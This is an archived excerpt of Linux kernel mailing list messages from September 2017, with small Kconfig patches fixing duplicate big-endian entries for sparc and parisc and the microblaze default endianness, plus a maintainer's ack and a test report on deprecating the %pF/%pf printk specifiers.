X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2572452 gmane.linux.ports.sparc:26529 gmane.linux.ports.parisc:27819
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2572452>

Fix duplicates for sparc and parisc. This was due these following commits.

1. commit 4c97a0c8fee3 ("arch: define CPU_BIG_ENDIAN for all fixed big
   endian archs")
2. commit 97d9f969161d ("arch/sparc: Define config parameter
   CPU_BIG_ENDIAN")
3. commit 74ad3d28af21 ("parisc: Define CONFIG_CPU_BIG_ENDIAN")

Remove duplicates.

Signed-off-by: Babu Moger <babu.moger@oracle.com>
---
 arch/parisc/Kconfig |    3 ---
 arch/sparc/Kconfig  |    3 ---
 2 files changed, 0 insertions(+), 6 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index ba7b7dd..1364851 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -59,9 +59,6 @@ config PARISC
 config CPU_BIG_ENDIAN
 	def_bool y
 
-config CPU_BIG_ENDIAN
-	def_bool y
-
 config MMU
 	def_bool y
 
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 0be3828..a4a6261 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -97,9 +97,6 @@ config ARCH_PROC_KCORE_TEXT
 config CPU_BIG_ENDIAN
 	def_bool y
 
-config CPU_BIG_ENDIAN
-	def_bool y
-
 config ARCH_ATU
 	bool
 	default y if SPARC64
-- 
1.7.1



From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.parisc
Subject: [PATCH 2/2] arch: change default endian for microblaze
Date: Mon, 18 Sep 2017 10:53:29 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <1505753609-602923-3-git-send-email-babu.moger@oracle.com>
References: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505753652 32090 195.159.176.226 (18 Sep 2017 16:54:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 18 Sep 2017 16:54:12 +0000 (UTC)
Cc: sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org, babu.moger@oracle.com
To: monstr@monstr.eu, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 18 18:54:08 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dtzJ7-00080g-Ue
	for glk-linux-kernel-3@m.gmane.org; Mon, 18 Sep 2017 18:54:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933021AbdIRQyK (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 18 Sep 2017 12:54:10 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:35233 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932978AbdIRQxx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 18 Sep 2017 12:53:53 -0400
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v8IGrcnd021669
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 18 Sep 2017 16:53:38 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by aserv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v8IGraDV029051
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 18 Sep 2017 16:53:37 GMT
Original-Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v8IGrZwB013739;
        Mon, 18 Sep 2017 16:53:36 GMT
Original-Received: from brm-t84-02.us.oracle.com (/10.80.150.81)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 18 Sep 2017 09:53:35 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: aserv0021.oracle.com [141.146.126.233]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2572453 gmane.linux.ports.sparc:26530 gmane.linux.ports.parisc:27820
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2572453>

Fix the default for microblaze. Michal Simek mentioned default for
microblaze should be CPU_LITTLE_ENDIAN.

Fixes : commit 206d3642d8ee ("arch/microblaze: add choice for endianness
	and update Makefile")

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Cc: Michal Simek <monstr@monstr.eu>
---
 arch/microblaze/Kconfig |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 9d26abd..4f798aa 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -39,7 +39,7 @@ config MICROBLAZE
 # Endianness selection
 choice
 	prompt "Endianness selection"
-	default CPU_BIG_ENDIAN
+	default CPU_LITTLE_ENDIAN
 	help
 	  microblaze architectures can be configured for either little or
 	  big endian formats. Be sure to select the appropriate mode.
-- 
1.7.1



From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCH 0/5] [RFC] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Mon, 18 Sep 2017 10:44:32 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <20170918174432.4fksyzco2g6gczwe@intel.com>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505756676 1111 195.159.176.226 (18 Sep 2017 17:44:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 18 Sep 2017 17:44:36 +0000 (UTC)
User-Agent: NeoMutt/20170113 (1.7.2)
Cc: Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Sep 18 19:44:30 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1du05r-0006V3-QJ
	for glpi-linux-ia64-2@m.gmane.org; Mon, 18 Sep 2017 19:44:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756220AbdIRRoe (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Mon, 18 Sep 2017 13:44:34 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:16244 "EHLO mga11.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754261AbdIRRod (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Mon, 18 Sep 2017 13:44:33 -0400
Original-Received: from orsmga005.jf.intel.com ([10.7.209.41])
  by fmsmga102.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 18 Sep 2017 10:44:33 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.42,413,1500966000"; 
   d="scan'208";a="150509442"
Original-Received: from agluck-desk.sc.intel.com (HELO intel.com) ([10.3.52.160])
  by orsmga005.jf.intel.com with ESMTP; 18 Sep 2017 10:44:32 -0700
Content-Disposition: inline
In-Reply-To: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28114 gmane.linux.ports.parisc:27821 gmane.linux.ports.ppc64.devel:147996 gmane.linux.kernel:2572482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28114>

On Sat, Sep 16, 2017 at 12:53:42PM +0900, Sergey Senozhatsky wrote:
> 	Hello
> 
> 	RFC
> 
> 	On some arches C function pointers are indirect and point to
> a function descriptor, which contains the actual pointer to the code.
> This mostly doesn't matter, except for cases when people want to print
> out function pointers in symbolic format, because the usual '%pS/%ps'
> does not work on those arches as expected. That's the reason why we
> have '%pF/%pf', but since it's here because of a subtle ABI detail
> specific to some arches (ppc64/ia64/parisc64) it's easy to misuse
> '%pF/%pf' and '%pS/%ps' (see [1], for example).

A few new warnings when building on ia64:

arch/ia64/kernel/module.c:931: warning: passing argument 1 of 'dereference_function_descriptor' makes pointer from integer without a cast
arch/ia64/kernel/module.c:931: warning: return makes integer from pointer without a cast
kernel/kallsyms.c:325: warning: assignment makes integer from pointer without a cast
kernel/kallsyms.c:325: warning: passing argument 1 of 'dereference_kernel_function_descriptor' makes pointer from integer without a cast

Tried out the module case with a simple Hello-world test case.
This code:

char buf[1];

int init_module(void)
{
	printk(KERN_INFO "Hello world 1.\n");

	printk("using %%p  my init_module is at %p\n", init_module);
	printk("using %%pF my init_module is at %pF\n", init_module);
	printk("using %%pS my init_module is at %pS\n", init_module);

	printk("using %%p  my buf is at %p\n", buf);
	printk("using %%pF my buf is at %pF\n", buf);
	printk("using %%pS my buf is at %pS\n", buf);

	return 0;
}

Gave this console output:

Hello world 1.
using %p  my init_module is at a000000203bf0328
using %pF my init_module is at init_module+0x0/0x140 [hello_1]
using %pS my init_module is at init_module+0x0/0x140 [hello_1]
using %p  my buf is at a000000203bf0648
using %pF my buf is at buf+0x0/0xfffffffffffffb58 [hello_1]
using %pS my buf is at buf+0x0/0xfffffffffffffb58 [hello_1]


Which looks like what you wanted. People unaware of the vagaries
of ppc64/ia64/parisc64 can use the wrong %p[SF] variant, but still
get the right output.

-Tony
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Simek <monstr@monstr.eu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] arch: change default endian for microblaze
Date: Mon, 18 Sep 2017 19:49:12 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <cf4bd066-b349-070a-ddf9-d6ae02f44cd7@monstr.eu>
References: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
 <1505753609-602923-3-git-send-email-babu.moger@oracle.com>
Reply-To: monstr@monstr.eu
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="w8wI5jvOXsju10d8xtnE5mcxrOGavl9pn"
X-Trace: blaine.gmane.org 1505756977 18065 195.159.176.226 (18 Sep 2017 17:49:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 18 Sep 2017 17:49:37 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: Babu Moger <babu.moger@oracle.com>, jejb@parisc-linux.org,
        deller@gmx.de, davem@davemloft.net, akpm@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 18 19:49:30 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1du0Aj-0004pE-J3
	for glpp-linux-parisc@m.gmane.org; Mon, 18 Sep 2017 19:49:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756276AbdIRRth (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 18 Sep 2017 13:49:37 -0400
Original-Received: from mail-wm0-f66.google.com ([74.125.82.66]:38276 "EHLO
        mail-wm0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756216AbdIRRtf (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 18 Sep 2017 13:49:35 -0400
Original-Received: by mail-wm0-f66.google.com with SMTP id x17so1603684wmd.5
        for <linux-parisc@vger.kernel.org>; Mon, 18 Sep 2017 10:49:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=monstr-eu.20150623.gappssmtp.com; s=20150623;
        h=reply-to:subject:to:cc:references:from:message-id:date:user-agent
         :mime-version:in-reply-to;
        bh=usGgCryiBOFyrDwhzaWqQH9XWo+PFIyIC7/EW8rGLIw=;
        b=PwwkjYTHIZV6n6pCq0xoV7GBHC3eSCc4MGarDAI7wDKMCMjBH3VujNkpZYVYZNWdf5
         iOVv02QAkkO2PN8NuoOQ3Ce3D+M7D4IUTmpzcJOK6yoLpQeqkJMnoOGvTKKybtdbAn9X
         SAgssWrfa3tSb/Q5Wubi2naY2y8ByoSwWYeNrsJc5QnHa5ivsv2pVWFI1P+GsoX/i2+y
         SDDTV6PXo8cmHwxIVg1B4ePn6MezKTVfEtD95OlkNY5cbMXezdwXGYGCQzBJ+aw6RNlJ
         NMm8Vier5fbTxhRs4n3DcvfeF0aBZG1ZXEE8jjZO7WXKfMUEB1btIXZ8Eom6Ww0Ty0hn
         xi2w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:reply-to:subject:to:cc:references:from
         :message-id:date:user-agent:mime-version:in-reply-to;
        bh=usGgCryiBOFyrDwhzaWqQH9XWo+PFIyIC7/EW8rGLIw=;
        b=t3fPSinwhkEn+ubEseud6lPW42zDvq6SE9+SZIgyaaIfPLBZsLFnhI8jDLH/7+NvKF
         s/bDnzJhp8zW3LKondfVeTg2kwdH0nb9fCOmcxzqGDnHdQxUruYRV1FllzGcugWVCTT9
         ioeUQrBWwz6BT8I3vqApwMW9dafFUs4ZQNns5HaiRXiMxuqHB776nWf+Po4ZOf2hvN0m
         ADUKd09zMq0FGrz56A+WIibmnM2gisqxJqAs2pGji3ODUG8MZxDu8wB1YQUUrRQ1T6zL
         035hGiEo/jUwruBjQWPv4zQISd+mQImGBNc5aIwDQGS3cGmJa0JtJnr21N7vVgDcIvlK
         fYag==
X-Gm-Message-State: AHPjjUhkIFMwRPUVpJsQfx0j9Tf6UVeqCTNgi9v/WGh0U5EjpW0BHt0c
        fA51CuCNJLhveg9Mi0g1aA==
X-Google-Smtp-Source: AOwi7QD8gGceweL//wV8cr/sIJ6/sAEIi5Cpp9rY386fdOCMjIl18WSgT7uuhrwtTvBb8wtipTwzKg==
X-Received: by 10.28.101.133 with SMTP id z127mr9828585wmb.123.1505756974133;
        Mon, 18 Sep 2017 10:49:34 -0700 (PDT)
Original-Received: from [64.233.184.109] ([149.199.62.254])
        by smtp.gmail.com with ESMTPSA id f188sm7369393wme.21.2017.09.18.10.49.29
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 18 Sep 2017 10:49:33 -0700 (PDT)
In-Reply-To: <1505753609-602923-3-git-send-email-babu.moger@oracle.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27822 gmane.linux.ports.sparc:26531 gmane.linux.kernel:2572486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27822>

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--w8wI5jvOXsju10d8xtnE5mcxrOGavl9pn
Content-Type: multipart/mixed; boundary="sD8A69GodVaAu8XsLbPmmeRUh846P96d9";
 protected-headers="v1"
From: Michal Simek <monstr@monstr.eu>
Reply-To: monstr@monstr.eu
To: Babu Moger <babu.moger@oracle.com>, jejb@parisc-linux.org, deller@gmx.de,
 davem@davemloft.net, akpm@linux-foundation.org
Cc: sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-parisc@vger.kernel.org
Message-ID: <cf4bd066-b349-070a-ddf9-d6ae02f44cd7@monstr.eu>
Subject: Re: [PATCH 2/2] arch: change default endian for microblaze
References: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
 <1505753609-602923-3-git-send-email-babu.moger@oracle.com>
In-Reply-To: <1505753609-602923-3-git-send-email-babu.moger@oracle.com>

--sD8A69GodVaAu8XsLbPmmeRUh846P96d9
Content-Type: text/plain; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable

On 18.9.2017 18:53, Babu Moger wrote:
> Fix the default for microblaze. Michal Simek mentioned default for
> microblaze should be CPU_LITTLE_ENDIAN.
>=20
> Fixes : commit 206d3642d8ee ("arch/microblaze: add choice for endiannes=
s
> 	and update Makefile")
>=20
> Signed-off-by: Babu Moger <babu.moger@oracle.com>
> Cc: Michal Simek <monstr@monstr.eu>
> ---
>  arch/microblaze/Kconfig |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
>=20
> diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
> index 9d26abd..4f798aa 100644
> --- a/arch/microblaze/Kconfig
> +++ b/arch/microblaze/Kconfig
> @@ -39,7 +39,7 @@ config MICROBLAZE
>  # Endianness selection
>  choice
>  	prompt "Endianness selection"
> -	default CPU_BIG_ENDIAN
> +	default CPU_LITTLE_ENDIAN
>  	help
>  	  microblaze architectures can be configured for either little or
>  	  big endian formats. Be sure to select the appropriate mode.
>=20

Acked-by: Michal Simek <michal.simek@xilinx.com>

If you want me to take this through my microblaze tree please let me know=
=2E

Thanks,
Michal

--=20
Michal Simek, Ing. (M.Eng), OpenPGP -> KeyID: FE3D1F91
w: www.monstr.eu p: +42-0-721842854
Maintainer of Linux kernel - Xilinx Microblaze
Maintainer of Linux kernel - Xilinx Zynq ARM and ZynqMP ARM64 SoCs
U-Boot custodian - Xilinx Microblaze/Zynq/ZynqMP SoCs



--sD8A69GodVaAu8XsLbPmmeRUh846P96d9--

--w8wI5jvOXsju10d8xtnE5mcxrOGavl9pn
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEARECAAYFAlnAByUACgkQykllyylKDCFmMACfYDL1NnvIzjFQPopz2IPnYos9
b+wAnAha9d+de0FJgE2kDYfyilSb7K44
=anIL
-----END PGP SIGNATURE-----

--w8wI5jvOXsju10d8xtnE5mcxrOGavl9pn--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] arch: change default endian for microblaze
Date: Mon, 18 Sep 2017 13:05:45 -0500
Organization: Oracle Corporation
Lines: 43
Approved: news@gmane.org
Message-ID: <e755625e-0b3a-4027-0754-4873fc8446b1@oracle.com>
References: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
 <1505753609-602923-3-git-send-email-babu.moger@oracle.com>
 <cf4bd066-b349-070a-ddf9-d6ae02f44cd7@monstr.eu>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1505757965 13411 195.159.176.226 (18 Sep 2017 18:06:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 18 Sep 2017 18:06:05 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: monstr@monstr.eu, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, akpm@linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Mon Sep 18 20:05:58 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1du0Qf-00028I-W1
	for lnx-sparclinux@m.gmane.org; Mon, 18 Sep 2017 20:05:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755654AbdIRSGF (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 18 Sep 2017 14:06:05 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:28735 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753811AbdIRSGE (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Mon, 18 Sep 2017 14:06:04 -0400
Original-Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v8II5r5r032264
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 18 Sep 2017 18:05:53 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by userv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v8II5r76024456
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 18 Sep 2017 18:05:53 GMT
Original-Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v8II5pY4014910;
        Mon, 18 Sep 2017 18:05:51 GMT
Original-Received: from [10.135.190.155] (/10.135.190.155)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 18 Sep 2017 11:05:51 -0700
In-Reply-To: <cf4bd066-b349-070a-ddf9-d6ae02f44cd7@monstr.eu>
Content-Language: en-US
X-Source-IP: userv0022.oracle.com [156.151.31.74]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:26533 gmane.linux.kernel:2572498 gmane.linux.ports.parisc:27823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/26533>


On 9/18/2017 12:49 PM, Michal Simek wrote:
> On 18.9.2017 18:53, Babu Moger wrote:
>> Fix the default for microblaze. Michal Simek mentioned default for
>> microblaze should be CPU_LITTLE_ENDIAN.
>>
>> Fixes : commit 206d3642d8ee ("arch/microblaze: add choice for endianness
>> 	and update Makefile")
>>
>> Signed-off-by: Babu Moger <babu.moger@oracle.com>
>> Cc: Michal Simek <monstr@monstr.eu>
>> ---
>>   arch/microblaze/Kconfig |    2 +-
>>   1 files changed, 1 insertions(+), 1 deletions(-)
>>
>> diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
>> index 9d26abd..4f798aa 100644
>> --- a/arch/microblaze/Kconfig
>> +++ b/arch/microblaze/Kconfig
>> @@ -39,7 +39,7 @@ config MICROBLAZE
>>   # Endianness selection
>>   choice
>>   	prompt "Endianness selection"
>> -	default CPU_BIG_ENDIAN
>> +	default CPU_LITTLE_ENDIAN
>>   	help
>>   	  microblaze architectures can be configured for either little or
>>   	  big endian formats. Be sure to select the appropriate mode.
>>
> Acked-by: Michal Simek <michal.simek@xilinx.com>
Thanks.
> If you want me to take this through my microblaze tree please let me know.
Sure. Thanks
>
> Thanks,
> Michal
>

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCH 0/5] [RFC] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Tue, 19 Sep 2017 11:08:13 +0900
Lines: 25
Approved: news@gmane.org
Message-ID: <20170919020812.GB16991@jagdpanzerIV.localdomain>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
 <20170918174432.4fksyzco2g6gczwe@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505786899 6018 195.159.176.226 (19 Sep 2017 02:08:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Sep 2017 02:08:19 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 19 04:08:13 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1du7xL-0001G3-Mj
	for glpp-linux-parisc@m.gmane.org; Tue, 19 Sep 2017 04:08:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750783AbdISCIS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 18 Sep 2017 22:08:18 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:35182 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750714AbdISCIR (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 18 Sep 2017 22:08:17 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id j16so1210778pga.2;
